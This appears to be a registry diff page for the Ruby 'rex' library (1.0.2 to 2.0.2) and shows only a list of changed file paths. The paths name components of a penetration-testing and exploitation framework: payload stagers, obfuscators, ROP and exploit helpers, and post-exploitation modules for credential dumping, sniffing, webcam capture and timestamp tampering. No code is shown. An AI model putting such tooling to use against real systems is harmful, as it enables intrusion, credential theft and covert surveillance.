rex 1.0.2 → 2.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (528) hide show
  1. checksums.yaml +15 -0
  2. data/README.markdown +22 -0
  3. data/examples/smb_example.rb +35 -0
  4. data/lib/rex.rb +108 -3
  5. data/lib/rex/LICENSE +29 -0
  6. data/lib/rex/arch.rb +104 -0
  7. data/lib/rex/arch/sparc.rb +75 -0
  8. data/lib/rex/arch/x86.rb +524 -0
  9. data/lib/rex/assembly/nasm.rb +104 -0
  10. data/lib/rex/codepage.map +104 -0
  11. data/lib/rex/compat.rb +389 -0
  12. data/lib/rex/constants.rb +124 -0
  13. data/lib/rex/elfparsey.rb +9 -0
  14. data/lib/rex/elfparsey/elf.rb +121 -0
  15. data/lib/rex/elfparsey/elfbase.rb +256 -0
  16. data/lib/rex/elfparsey/exceptions.rb +25 -0
  17. data/lib/rex/elfscan.rb +10 -0
  18. data/lib/rex/elfscan/scanner.rb +226 -0
  19. data/lib/rex/elfscan/search.rb +44 -0
  20. data/lib/rex/encoder/alpha2.rb +31 -0
  21. data/lib/rex/encoder/alpha2/alpha_mixed.rb +68 -0
  22. data/lib/rex/encoder/alpha2/alpha_upper.rb +79 -0
  23. data/lib/rex/encoder/alpha2/generic.rb +90 -0
  24. data/lib/rex/encoder/alpha2/unicode_mixed.rb +116 -0
  25. data/lib/rex/encoder/alpha2/unicode_upper.rb +123 -0
  26. data/lib/rex/encoder/bloxor/bloxor.rb +327 -0
  27. data/lib/rex/encoder/ndr.rb +90 -0
  28. data/lib/rex/encoder/nonalpha.rb +61 -0
  29. data/lib/rex/encoder/nonupper.rb +64 -0
  30. data/lib/rex/encoder/xdr.rb +107 -0
  31. data/lib/rex/encoder/xor.rb +69 -0
  32. data/lib/rex/encoder/xor/dword.rb +13 -0
  33. data/lib/rex/encoder/xor/dword_additive.rb +13 -0
  34. data/lib/rex/encoders/xor_dword.rb +35 -0
  35. data/lib/rex/encoders/xor_dword_additive.rb +53 -0
  36. data/lib/rex/encoding/xor.rb +20 -0
  37. data/lib/rex/encoding/xor/byte.rb +15 -0
  38. data/lib/rex/encoding/xor/dword.rb +21 -0
  39. data/lib/rex/encoding/xor/dword_additive.rb +92 -0
  40. data/lib/rex/encoding/xor/exceptions.rb +17 -0
  41. data/lib/rex/encoding/xor/generic.rb +146 -0
  42. data/lib/rex/encoding/xor/qword.rb +15 -0
  43. data/lib/rex/encoding/xor/word.rb +21 -0
  44. data/lib/rex/exceptions.rb +275 -0
  45. data/lib/rex/exploitation/cmdstager.rb +10 -0
  46. data/lib/rex/exploitation/cmdstager/base.rb +190 -0
  47. data/lib/rex/exploitation/cmdstager/bourne.rb +105 -0
  48. data/lib/rex/exploitation/cmdstager/debug_asm.rb +140 -0
  49. data/lib/rex/exploitation/cmdstager/debug_write.rb +134 -0
  50. data/lib/rex/exploitation/cmdstager/echo.rb +164 -0
  51. data/lib/rex/exploitation/cmdstager/printf.rb +122 -0
  52. data/lib/rex/exploitation/cmdstager/tftp.rb +71 -0
  53. data/lib/rex/exploitation/cmdstager/vbs.rb +126 -0
  54. data/lib/rex/exploitation/egghunter.rb +425 -0
  55. data/lib/rex/exploitation/encryptjs.rb +78 -0
  56. data/lib/rex/exploitation/heaplib.js.b64 +331 -0
  57. data/lib/rex/exploitation/heaplib.rb +107 -0
  58. data/lib/rex/exploitation/js.rb +6 -0
  59. data/lib/rex/exploitation/js/detect.rb +69 -0
  60. data/lib/rex/exploitation/js/memory.rb +81 -0
  61. data/lib/rex/exploitation/js/network.rb +84 -0
  62. data/lib/rex/exploitation/js/utils.rb +33 -0
  63. data/lib/rex/exploitation/jsobfu.rb +513 -0
  64. data/lib/rex/exploitation/obfuscatejs.rb +336 -0
  65. data/lib/rex/exploitation/omelet.rb +321 -0
  66. data/lib/rex/exploitation/opcodedb.rb +819 -0
  67. data/lib/rex/exploitation/powershell.rb +62 -0
  68. data/lib/rex/exploitation/powershell/function.rb +63 -0
  69. data/lib/rex/exploitation/powershell/obfu.rb +98 -0
  70. data/lib/rex/exploitation/powershell/output.rb +151 -0
  71. data/lib/rex/exploitation/powershell/param.rb +23 -0
  72. data/lib/rex/exploitation/powershell/parser.rb +183 -0
  73. data/lib/rex/exploitation/powershell/psh_methods.rb +70 -0
  74. data/lib/rex/exploitation/powershell/script.rb +99 -0
  75. data/lib/rex/exploitation/ropdb.rb +190 -0
  76. data/lib/rex/exploitation/seh.rb +93 -0
  77. data/lib/rex/file.rb +160 -0
  78. data/lib/rex/image_source.rb +10 -0
  79. data/lib/rex/image_source/disk.rb +58 -0
  80. data/lib/rex/image_source/image_source.rb +44 -0
  81. data/lib/rex/image_source/memory.rb +35 -0
  82. data/lib/rex/io/bidirectional_pipe.rb +161 -0
  83. data/lib/rex/io/datagram_abstraction.rb +35 -0
  84. data/lib/rex/io/ring_buffer.rb +369 -0
  85. data/lib/rex/io/stream.rb +312 -0
  86. data/lib/rex/io/stream_abstraction.rb +209 -0
  87. data/lib/rex/io/stream_server.rb +221 -0
  88. data/lib/rex/job_container.rb +200 -0
  89. data/lib/rex/logging.rb +4 -0
  90. data/lib/rex/logging/log_dispatcher.rb +180 -0
  91. data/lib/rex/logging/log_sink.rb +43 -0
  92. data/lib/rex/logging/sinks/flatfile.rb +56 -0
  93. data/lib/rex/logging/sinks/stderr.rb +44 -0
  94. data/lib/rex/mac_oui.rb +16581 -0
  95. data/lib/rex/machparsey.rb +9 -0
  96. data/lib/rex/machparsey/exceptions.rb +34 -0
  97. data/lib/rex/machparsey/mach.rb +209 -0
  98. data/lib/rex/machparsey/machbase.rb +408 -0
  99. data/lib/rex/machscan.rb +9 -0
  100. data/lib/rex/machscan/scanner.rb +217 -0
  101. data/lib/rex/mime.rb +10 -0
  102. data/lib/rex/mime/encoding.rb +17 -0
  103. data/lib/rex/mime/header.rb +78 -0
  104. data/lib/rex/mime/message.rb +150 -0
  105. data/lib/rex/mime/part.rb +50 -0
  106. data/lib/rex/nop/opty2.rb +109 -0
  107. data/lib/rex/nop/opty2_tables.rb +301 -0
  108. data/lib/rex/ole.rb +202 -0
  109. data/lib/rex/ole/clsid.rb +44 -0
  110. data/lib/rex/ole/difat.rb +138 -0
  111. data/lib/rex/ole/directory.rb +228 -0
  112. data/lib/rex/ole/direntry.rb +237 -0
  113. data/lib/rex/ole/docs/dependencies.txt +8 -0
  114. data/lib/rex/ole/docs/references.txt +1 -0
  115. data/lib/rex/ole/fat.rb +96 -0
  116. data/lib/rex/ole/header.rb +201 -0
  117. data/lib/rex/ole/minifat.rb +74 -0
  118. data/lib/rex/ole/propset.rb +141 -0
  119. data/lib/rex/ole/samples/create_ole.rb +27 -0
  120. data/lib/rex/ole/samples/dir.rb +35 -0
  121. data/lib/rex/ole/samples/dump_stream.rb +34 -0
  122. data/lib/rex/ole/samples/ole_info.rb +23 -0
  123. data/lib/rex/ole/storage.rb +392 -0
  124. data/lib/rex/ole/stream.rb +50 -0
  125. data/lib/rex/ole/substorage.rb +46 -0
  126. data/lib/rex/ole/util.rb +154 -0
  127. data/lib/rex/parser/acunetix_nokogiri.rb +406 -0
  128. data/lib/rex/parser/apple_backup_manifestdb.rb +132 -0
  129. data/lib/rex/parser/appscan_nokogiri.rb +367 -0
  130. data/lib/rex/parser/arguments.rb +108 -0
  131. data/lib/rex/parser/burp_session_nokogiri.rb +291 -0
  132. data/lib/rex/parser/ci_nokogiri.rb +193 -0
  133. data/lib/rex/parser/foundstone_nokogiri.rb +342 -0
  134. data/lib/rex/parser/fusionvm_nokogiri.rb +109 -0
  135. data/lib/rex/parser/group_policy_preferences.rb +185 -0
  136. data/lib/rex/parser/ini.rb +186 -0
  137. data/lib/rex/parser/ip360_aspl_xml.rb +103 -0
  138. data/lib/rex/parser/ip360_xml.rb +98 -0
  139. data/lib/rex/parser/mbsa_nokogiri.rb +256 -0
  140. data/lib/rex/parser/nessus_xml.rb +121 -0
  141. data/lib/rex/parser/netsparker_xml.rb +109 -0
  142. data/lib/rex/parser/nexpose_raw_nokogiri.rb +686 -0
  143. data/lib/rex/parser/nexpose_simple_nokogiri.rb +330 -0
  144. data/lib/rex/parser/nexpose_xml.rb +172 -0
  145. data/lib/rex/parser/nmap_nokogiri.rb +394 -0
  146. data/lib/rex/parser/nmap_xml.rb +166 -0
  147. data/lib/rex/parser/nokogiri_doc_mixin.rb +233 -0
  148. data/lib/rex/parser/openvas_nokogiri.rb +172 -0
  149. data/lib/rex/parser/outpost24_nokogiri.rb +240 -0
  150. data/lib/rex/parser/retina_xml.rb +110 -0
  151. data/lib/rex/parser/unattend.rb +171 -0
  152. data/lib/rex/parser/wapiti_nokogiri.rb +105 -0
  153. data/lib/rex/payloads.rb +2 -0
  154. data/lib/rex/payloads/win32.rb +3 -0
  155. data/lib/rex/payloads/win32/common.rb +27 -0
  156. data/lib/rex/payloads/win32/kernel.rb +54 -0
  157. data/lib/rex/payloads/win32/kernel/common.rb +55 -0
  158. data/lib/rex/payloads/win32/kernel/migration.rb +13 -0
  159. data/lib/rex/payloads/win32/kernel/recovery.rb +51 -0
  160. data/lib/rex/payloads/win32/kernel/stager.rb +195 -0
  161. data/lib/rex/peparsey.rb +10 -0
  162. data/lib/rex/peparsey/exceptions.rb +30 -0
  163. data/lib/rex/peparsey/pe.rb +210 -0
  164. data/lib/rex/peparsey/pe_memdump.rb +61 -0
  165. data/lib/rex/peparsey/pebase.rb +1662 -0
  166. data/lib/rex/peparsey/section.rb +128 -0
  167. data/lib/rex/pescan.rb +11 -0
  168. data/lib/rex/pescan/analyze.rb +366 -0
  169. data/lib/rex/pescan/scanner.rb +230 -0
  170. data/lib/rex/pescan/search.rb +68 -0
  171. data/lib/rex/platforms.rb +2 -0
  172. data/lib/rex/platforms/windows.rb +52 -0
  173. data/lib/rex/poly.rb +134 -0
  174. data/lib/rex/poly/block.rb +480 -0
  175. data/lib/rex/poly/machine.rb +13 -0
  176. data/lib/rex/poly/machine/machine.rb +830 -0
  177. data/lib/rex/poly/machine/x86.rb +509 -0
  178. data/lib/rex/poly/register.rb +101 -0
  179. data/lib/rex/poly/register/x86.rb +41 -0
  180. data/lib/rex/post.rb +7 -0
  181. data/lib/rex/post/dir.rb +51 -0
  182. data/lib/rex/post/file.rb +172 -0
  183. data/lib/rex/post/file_stat.rb +220 -0
  184. data/lib/rex/post/gen.pl +13 -0
  185. data/lib/rex/post/io.rb +182 -0
  186. data/lib/rex/post/meterpreter.rb +5 -0
  187. data/lib/rex/post/meterpreter/channel.rb +446 -0
  188. data/lib/rex/post/meterpreter/channel_container.rb +54 -0
  189. data/lib/rex/post/meterpreter/channels/pool.rb +160 -0
  190. data/lib/rex/post/meterpreter/channels/pools/file.rb +62 -0
  191. data/lib/rex/post/meterpreter/channels/pools/stream_pool.rb +103 -0
  192. data/lib/rex/post/meterpreter/channels/stream.rb +87 -0
  193. data/lib/rex/post/meterpreter/client.rb +483 -0
  194. data/lib/rex/post/meterpreter/client_core.rb +352 -0
  195. data/lib/rex/post/meterpreter/dependencies.rb +3 -0
  196. data/lib/rex/post/meterpreter/extension.rb +32 -0
  197. data/lib/rex/post/meterpreter/extensions/android/android.rb +128 -0
  198. data/lib/rex/post/meterpreter/extensions/android/tlv.rb +40 -0
  199. data/lib/rex/post/meterpreter/extensions/espia/espia.rb +58 -0
  200. data/lib/rex/post/meterpreter/extensions/espia/tlv.rb +17 -0
  201. data/lib/rex/post/meterpreter/extensions/extapi/adsi/adsi.rb +71 -0
  202. data/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb +169 -0
  203. data/lib/rex/post/meterpreter/extensions/extapi/extapi.rb +45 -0
  204. data/lib/rex/post/meterpreter/extensions/extapi/service/service.rb +104 -0
  205. data/lib/rex/post/meterpreter/extensions/extapi/tlv.rb +77 -0
  206. data/lib/rex/post/meterpreter/extensions/extapi/window/window.rb +56 -0
  207. data/lib/rex/post/meterpreter/extensions/extapi/wmi/wmi.rb +75 -0
  208. data/lib/rex/post/meterpreter/extensions/incognito/incognito.rb +94 -0
  209. data/lib/rex/post/meterpreter/extensions/incognito/tlv.rb +22 -0
  210. data/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb +361 -0
  211. data/lib/rex/post/meterpreter/extensions/kiwi/tlv.rb +76 -0
  212. data/lib/rex/post/meterpreter/extensions/lanattacks/dhcp/dhcp.rb +78 -0
  213. data/lib/rex/post/meterpreter/extensions/lanattacks/lanattacks.rb +43 -0
  214. data/lib/rex/post/meterpreter/extensions/lanattacks/tftp/tftp.rb +49 -0
  215. data/lib/rex/post/meterpreter/extensions/lanattacks/tlv.rb +17 -0
  216. data/lib/rex/post/meterpreter/extensions/mimikatz/mimikatz.rb +128 -0
  217. data/lib/rex/post/meterpreter/extensions/mimikatz/tlv.rb +16 -0
  218. data/lib/rex/post/meterpreter/extensions/networkpug/networkpug.rb +57 -0
  219. data/lib/rex/post/meterpreter/extensions/networkpug/tlv.rb +16 -0
  220. data/lib/rex/post/meterpreter/extensions/priv/fs.rb +118 -0
  221. data/lib/rex/post/meterpreter/extensions/priv/passwd.rb +61 -0
  222. data/lib/rex/post/meterpreter/extensions/priv/priv.rb +109 -0
  223. data/lib/rex/post/meterpreter/extensions/priv/tlv.rb +29 -0
  224. data/lib/rex/post/meterpreter/extensions/sniffer/sniffer.rb +117 -0
  225. data/lib/rex/post/meterpreter/extensions/sniffer/tlv.rb +27 -0
  226. data/lib/rex/post/meterpreter/extensions/stdapi/constants.rb +396 -0
  227. data/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb +284 -0
  228. data/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb +399 -0
  229. data/lib/rex/post/meterpreter/extensions/stdapi/fs/file_stat.rb +104 -0
  230. data/lib/rex/post/meterpreter/extensions/stdapi/fs/io.rb +48 -0
  231. data/lib/rex/post/meterpreter/extensions/stdapi/net/arp.rb +59 -0
  232. data/lib/rex/post/meterpreter/extensions/stdapi/net/config.rb +256 -0
  233. data/lib/rex/post/meterpreter/extensions/stdapi/net/interface.rb +129 -0
  234. data/lib/rex/post/meterpreter/extensions/stdapi/net/netstat.rb +97 -0
  235. data/lib/rex/post/meterpreter/extensions/stdapi/net/resolve.rb +106 -0
  236. data/lib/rex/post/meterpreter/extensions/stdapi/net/route.rb +67 -0
  237. data/lib/rex/post/meterpreter/extensions/stdapi/net/socket.rb +139 -0
  238. data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_client_channel.rb +180 -0
  239. data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_server_channel.rb +168 -0
  240. data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/udp_channel.rb +209 -0
  241. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/api_constants.rb +38146 -0
  242. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/buffer_item.rb +48 -0
  243. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_advapi32.rb +2102 -0
  244. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_crypt32.rb +32 -0
  245. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_iphlpapi.rb +97 -0
  246. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb +3852 -0
  247. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_netapi32.rb +100 -0
  248. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_ntdll.rb +168 -0
  249. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_psapi.rb +32 -0
  250. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_shell32.rb +32 -0
  251. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_user32.rb +3170 -0
  252. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_version.rb +41 -0
  253. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_wlanapi.rb +87 -0
  254. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_wldap32.rb +128 -0
  255. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_ws2_32.rb +613 -0
  256. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb +388 -0
  257. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_function.rb +111 -0
  258. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_helper.rb +149 -0
  259. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_wrapper.rb +27 -0
  260. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/mock_magic.rb +515 -0
  261. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/multicall.rb +319 -0
  262. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/platform_util.rb +23 -0
  263. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb +301 -0
  264. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/tlv.rb +56 -0
  265. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/type/pointer_util.rb +106 -0
  266. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/util.rb +676 -0
  267. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/win_const_manager.rb +96 -0
  268. data/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb +151 -0
  269. data/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb +128 -0
  270. data/lib/rex/post/meterpreter/extensions/stdapi/sys/event_log.rb +192 -0
  271. data/lib/rex/post/meterpreter/extensions/stdapi/sys/event_log_subsystem/event_record.rb +41 -0
  272. data/lib/rex/post/meterpreter/extensions/stdapi/sys/power.rb +60 -0
  273. data/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb +408 -0
  274. data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/image.rb +129 -0
  275. data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/io.rb +55 -0
  276. data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/memory.rb +336 -0
  277. data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/thread.rb +141 -0
  278. data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb +328 -0
  279. data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_key.rb +193 -0
  280. data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_value.rb +102 -0
  281. data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/remote_registry_key.rb +188 -0
  282. data/lib/rex/post/meterpreter/extensions/stdapi/sys/thread.rb +180 -0
  283. data/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +236 -0
  284. data/lib/rex/post/meterpreter/extensions/stdapi/ui.rb +259 -0
  285. data/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb +201 -0
  286. data/lib/rex/post/meterpreter/inbound_packet_handler.rb +30 -0
  287. data/lib/rex/post/meterpreter/object_aliases.rb +83 -0
  288. data/lib/rex/post/meterpreter/packet.rb +709 -0
  289. data/lib/rex/post/meterpreter/packet_dispatcher.rb +543 -0
  290. data/lib/rex/post/meterpreter/packet_parser.rb +94 -0
  291. data/lib/rex/post/meterpreter/packet_response_waiter.rb +83 -0
  292. data/lib/rex/post/meterpreter/ui/console.rb +142 -0
  293. data/lib/rex/post/meterpreter/ui/console/command_dispatcher.rb +86 -0
  294. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb +383 -0
  295. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +939 -0
  296. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/espia.rb +109 -0
  297. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi.rb +65 -0
  298. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb +198 -0
  299. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb +444 -0
  300. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/service.rb +199 -0
  301. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/window.rb +118 -0
  302. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/wmi.rb +108 -0
  303. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/incognito.rb +242 -0
  304. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb +509 -0
  305. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks.rb +60 -0
  306. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/dhcp.rb +254 -0
  307. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/tftp.rb +159 -0
  308. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb +182 -0
  309. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/networkpug.rb +232 -0
  310. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv.rb +62 -0
  311. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb +97 -0
  312. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/passwd.rb +52 -0
  313. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/timestomp.rb +133 -0
  314. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/sniffer.rb +204 -0
  315. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi.rb +66 -0
  316. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +527 -0
  317. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb +448 -0
  318. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +906 -0
  319. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb +318 -0
  320. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb +343 -0
  321. data/lib/rex/post/meterpreter/ui/console/interactive_channel.rb +99 -0
  322. data/lib/rex/post/permission.rb +26 -0
  323. data/lib/rex/post/process.rb +57 -0
  324. data/lib/rex/post/thread.rb +57 -0
  325. data/lib/rex/post/ui.rb +52 -0
  326. data/lib/rex/proto.rb +15 -0
  327. data/lib/rex/proto/addp.rb +218 -0
  328. data/lib/rex/proto/dcerpc.rb +7 -0
  329. data/lib/rex/proto/dcerpc/client.rb +362 -0
  330. data/lib/rex/proto/dcerpc/exceptions.rb +151 -0
  331. data/lib/rex/proto/dcerpc/handle.rb +48 -0
  332. data/lib/rex/proto/dcerpc/ndr.rb +73 -0
  333. data/lib/rex/proto/dcerpc/packet.rb +264 -0
  334. data/lib/rex/proto/dcerpc/response.rb +188 -0
  335. data/lib/rex/proto/dcerpc/uuid.rb +85 -0
  336. data/lib/rex/proto/dcerpc/wdscp.rb +3 -0
  337. data/lib/rex/proto/dcerpc/wdscp/constants.rb +89 -0
  338. data/lib/rex/proto/dcerpc/wdscp/packet.rb +94 -0
  339. data/lib/rex/proto/dhcp.rb +7 -0
  340. data/lib/rex/proto/dhcp/constants.rb +34 -0
  341. data/lib/rex/proto/dhcp/server.rb +334 -0
  342. data/lib/rex/proto/drda.rb +6 -0
  343. data/lib/rex/proto/drda/constants.rb +50 -0
  344. data/lib/rex/proto/drda/packet.rb +253 -0
  345. data/lib/rex/proto/drda/utils.rb +124 -0
  346. data/lib/rex/proto/http.rb +7 -0
  347. data/lib/rex/proto/http/client.rb +722 -0
  348. data/lib/rex/proto/http/client_request.rb +472 -0
  349. data/lib/rex/proto/http/handler.rb +47 -0
  350. data/lib/rex/proto/http/handler/erb.rb +129 -0
  351. data/lib/rex/proto/http/handler/proc.rb +61 -0
  352. data/lib/rex/proto/http/header.rb +173 -0
  353. data/lib/rex/proto/http/packet.rb +414 -0
  354. data/lib/rex/proto/http/request.rb +354 -0
  355. data/lib/rex/proto/http/response.rb +151 -0
  356. data/lib/rex/proto/http/server.rb +385 -0
  357. data/lib/rex/proto/iax2.rb +2 -0
  358. data/lib/rex/proto/iax2/call.rb +321 -0
  359. data/lib/rex/proto/iax2/client.rb +218 -0
  360. data/lib/rex/proto/iax2/codecs.rb +5 -0
  361. data/lib/rex/proto/iax2/codecs/alaw.rb +16 -0
  362. data/lib/rex/proto/iax2/codecs/g711.rb +2176 -0
  363. data/lib/rex/proto/iax2/codecs/mulaw.rb +17 -0
  364. data/lib/rex/proto/iax2/constants.rb +262 -0
  365. data/lib/rex/proto/ipmi.rb +57 -0
  366. data/lib/rex/proto/ipmi/channel_auth_reply.rb +89 -0
  367. data/lib/rex/proto/ipmi/open_session_reply.rb +36 -0
  368. data/lib/rex/proto/ipmi/rakp2.rb +36 -0
  369. data/lib/rex/proto/ipmi/utils.rb +125 -0
  370. data/lib/rex/proto/natpmp.rb +7 -0
  371. data/lib/rex/proto/natpmp/constants.rb +19 -0
  372. data/lib/rex/proto/natpmp/packet.rb +45 -0
  373. data/lib/rex/proto/ntlm.rb +8 -0
  374. data/lib/rex/proto/ntlm/base.rb +327 -0
  375. data/lib/rex/proto/ntlm/constants.rb +75 -0
  376. data/lib/rex/proto/ntlm/crypt.rb +412 -0
  377. data/lib/rex/proto/ntlm/exceptions.rb +17 -0
  378. data/lib/rex/proto/ntlm/message.rb +534 -0
  379. data/lib/rex/proto/ntlm/utils.rb +765 -0
  380. data/lib/rex/proto/ntp.rb +3 -0
  381. data/lib/rex/proto/ntp/constants.rb +12 -0
  382. data/lib/rex/proto/ntp/modes.rb +130 -0
  383. data/lib/rex/proto/pjl.rb +31 -0
  384. data/lib/rex/proto/pjl/client.rb +163 -0
  385. data/lib/rex/proto/proxy/socks4a.rb +441 -0
  386. data/lib/rex/proto/rfb.rb +13 -0
  387. data/lib/rex/proto/rfb/cipher.rb +82 -0
  388. data/lib/rex/proto/rfb/client.rb +205 -0
  389. data/lib/rex/proto/rfb/constants.rb +50 -0
  390. data/lib/rex/proto/sip.rb +4 -0
  391. data/lib/rex/proto/sip/response.rb +61 -0
  392. data/lib/rex/proto/smb.rb +8 -0
  393. data/lib/rex/proto/smb/client.rb +2064 -0
  394. data/lib/rex/proto/smb/constants.rb +1064 -0
  395. data/lib/rex/proto/smb/crypt.rb +37 -0
  396. data/lib/rex/proto/smb/evasions.rb +67 -0
  397. data/lib/rex/proto/smb/exceptions.rb +867 -0
  398. data/lib/rex/proto/smb/simpleclient.rb +173 -0
  399. data/lib/rex/proto/smb/simpleclient/open_file.rb +106 -0
  400. data/lib/rex/proto/smb/simpleclient/open_pipe.rb +57 -0
  401. data/lib/rex/proto/smb/utils.rb +104 -0
  402. data/lib/rex/proto/sunrpc.rb +2 -0
  403. data/lib/rex/proto/sunrpc/client.rb +196 -0
  404. data/lib/rex/proto/tftp.rb +13 -0
  405. data/lib/rex/proto/tftp/client.rb +344 -0
  406. data/lib/rex/proto/tftp/constants.rb +39 -0
  407. data/lib/rex/proto/tftp/server.rb +497 -0
  408. data/lib/rex/random_identifier_generator.rb +177 -0
  409. data/lib/rex/registry.rb +14 -0
  410. data/lib/rex/registry/hive.rb +132 -0
  411. data/lib/rex/registry/lfkey.rb +51 -0
  412. data/lib/rex/registry/nodekey.rb +54 -0
  413. data/lib/rex/registry/regf.rb +25 -0
  414. data/lib/rex/registry/valuekey.rb +67 -0
  415. data/lib/rex/registry/valuelist.rb +29 -0
  416. data/lib/rex/ropbuilder.rb +8 -0
  417. data/lib/rex/ropbuilder/rop.rb +271 -0
  418. data/lib/rex/script.rb +42 -0
  419. data/lib/rex/script/base.rb +61 -0
  420. data/lib/rex/script/meterpreter.rb +16 -0
  421. data/lib/rex/script/shell.rb +10 -0
  422. data/lib/rex/service.rb +49 -0
  423. data/lib/rex/service_manager.rb +154 -0
  424. data/lib/rex/services/local_relay.rb +424 -0
  425. data/lib/rex/socket.rb +788 -0
  426. data/lib/rex/socket/comm.rb +120 -0
  427. data/lib/rex/socket/comm/local.rb +526 -0
  428. data/lib/rex/socket/ip.rb +132 -0
  429. data/lib/rex/socket/parameters.rb +363 -0
  430. data/lib/rex/socket/range_walker.rb +470 -0
  431. data/lib/rex/socket/ssl_tcp.rb +345 -0
  432. data/lib/rex/socket/ssl_tcp_server.rb +188 -0
  433. data/lib/rex/socket/subnet_walker.rb +76 -0
  434. data/lib/rex/socket/switch_board.rb +289 -0
  435. data/lib/rex/socket/tcp.rb +79 -0
  436. data/lib/rex/socket/tcp_server.rb +67 -0
  437. data/lib/rex/socket/udp.rb +165 -0
  438. data/lib/rex/sslscan/result.rb +201 -0
  439. data/lib/rex/sslscan/scanner.rb +206 -0
  440. data/lib/rex/struct2.rb +5 -0
  441. data/lib/rex/struct2/c_struct.rb +181 -0
  442. data/lib/rex/struct2/c_struct_template.rb +39 -0
  443. data/lib/rex/struct2/constant.rb +26 -0
  444. data/lib/rex/struct2/element.rb +44 -0
  445. data/lib/rex/struct2/generic.rb +73 -0
  446. data/lib/rex/struct2/restraint.rb +54 -0
  447. data/lib/rex/struct2/s_string.rb +72 -0
  448. data/lib/rex/struct2/s_struct.rb +111 -0
  449. data/lib/rex/sync.rb +6 -0
  450. data/lib/rex/sync/event.rb +85 -0
  451. data/lib/rex/sync/read_write_lock.rb +177 -0
  452. data/lib/rex/sync/ref.rb +58 -0
  453. data/lib/rex/sync/thread_safe.rb +83 -0
  454. data/lib/rex/text.rb +1813 -0
  455. data/lib/rex/thread_factory.rb +43 -0
  456. data/lib/rex/time.rb +66 -0
  457. data/lib/rex/transformer.rb +116 -0
  458. data/lib/rex/ui.rb +22 -0
  459. data/lib/rex/ui/interactive.rb +304 -0
  460. data/lib/rex/ui/output.rb +85 -0
  461. data/lib/rex/ui/output/none.rb +19 -0
